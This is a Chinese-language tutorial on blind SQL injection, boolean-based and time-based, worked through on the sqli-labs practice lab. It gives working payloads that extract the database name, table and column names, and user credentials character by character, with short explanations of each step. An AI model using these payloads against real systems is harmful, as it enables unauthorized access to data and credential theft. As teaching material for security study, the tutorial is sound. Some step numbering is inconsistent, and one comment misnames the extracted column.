当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。
1.select 查询数据
在网站应用中进行数据显示查询操作
例如:select * from users where id=1;
2.insert 插入数据
在网站应用中进行用户注册添加等操作
例如:insert into users(id,username,password,level) values (4,‘zyh’,‘123456’,4);
3.delete 删除数据
后台管理里面删除文章删除用户等操作
例如:delete from users where id=4;
4.update 更新数据
会员或后台中心数据同步或缓存等操作
例如:update users set password=‘654321’ where id=4 and username=‘zyh’;
5.order by 排序数据
一般结合表名或列名进行数据排序操作
例如:select * from users order by $id;
例如:select id,username,password from users order by $order;
重点理解:
我们可以通过以上查询方式与网站应用的关系,注入点产生地方或应用猜测到对方SQL查询方式。比如在用户注册的地方,可能的SQL语句就是:insert语句。用户修改个人信息的地方,可能的SQL语句就是:update语句。等等
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些
方法进行判断或者尝试,这个过程称之为盲注。
我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断、基于时间的SQL盲注-延时判断、基于报错的SQL盲注-报错回显
适用场景:
数据库查询结果无法从直观页面中获取,并且输入正确或者错误参数下,页面返回的信息有所不同(只是无回显)。
例如:
正确参数id=1,页面正常
错误参数id=999,页面错误
盲注相关函数:
截取字符串常用函数:
mid(string,start,length)函数:
string参数表示要截取字段,start参数表示开始截取的位置(从1开始),length表示要截取的长度。
substr(string, start, length)函数: 功能与mid()函数相似。
left(string,n)函数: 此函数功能为得到string字符串的左面指定n位的字符。
length(a): 计算a的长度。
ascii(a) :将字符a转为ascii 值。
ord(a) :将字符a转为ascii 值。%
like匹配注入:
like ‘ro%’ #匹配ro及ro…等
regexp正则匹配:
regexp ‘^ro[a-z]’ #匹配ro及ro…等
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
sleep():
布尔盲注的实例:
sqli-labs:lesson-8
1.判断闭合符
判断为单引号
3.查询回显位
无显示位,并且没有报错回显,考虑用布尔盲注。
4.判断数据库长度以及数据库名
1.id=1' and length(database())=8 %23//判断数据库名长度,长度从1开始尝试,当长度不正确时,页面没有回显。成功时会回显。
2.id=1' and left(database(),8)='security' %23//修改left后面限定数字,逐字判断数据库名
1. id=1’ and (select count (table_name) from information_schema.tables where table_schema=database())=4 %23//判断数据库表的书目,依次使后面的数字改变,直到为4时,回显正确
2.id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' --+ //修改limit x,1 和left中限定的数字, 最后得到表名为users
1.id=1'and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+ //修改limit x,1 和left中限定的数字,最后得到列名为users
1. and left((select username from users order by id limit 0,1),4)='dumb' --+ //判断用户
2. and left((select password from users order by id limit 0,1),4)='dumb' --+ //判断密码
按照id排序
1.在判断数据库名时,可以使用
id=1' and ascii(substr((select database()),1,1))>114 %23 //通过ascii码大小来判断字符大小。如果第一个字符大于114,则页面返回正确,反之错误。通过这样不断缩小范围来判断每个字符。
2.判断数据库的表的数目
id=1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 %23//依次让它等于1,2,3一直显示不成功,直到4,显示成功,则数据库中有四个表
3.判断表名
id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>97 %23 //通过改变limt x,1 中x的参数,和substr后面两个参数,以及ascii码来对编码进行判断
适用场景:
数据库查询结果无法从直观页面中获取,并且输入正确或者错误参数下,页面返回的信息不变。(无响应)
例如:
输入正确id=1,回显you are in …
输入不存在id=999,回显you are in …
无论输入什么都没有响应,判断需要使用时间盲注
1.判断闭合符
双引号为闭合符,当输入单引号时,页面没有延迟,当输入双引号时,页面延迟。
2.判断数据库名
1.判断数据库长度
?id=1"and if(length(database())=8,sleep(10),1)%23//出现延迟说明长度为8
2.判断数据库名
?id=1"and if (left(database(),8)='security',sleep(10),1)%23//和布尔盲注一样,需要逐字判断
?id=1" and if (left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(10),1)%23
1.判断用户
?id=1" and if (left((select username from users order by id limit 0,1),4)='dumb',sleep(10),1)%23
2.判断密码
?id=1" and if (left((select password from users order by id limit 0,1),4)='dumb',sleep(10),1)%23
理论上,能够布尔盲注就一定能时间盲注,能够时间盲注不一定能布尔盲注。相比之下,布尔盲注稳定性更好,时间盲注适用范围更广,但因为时间盲注的实现原理是基于timeout的,稳定性与效率不如布尔注入。在盲注测试时,通常先测试是否可以布尔盲注,若不行再尝试时间盲注。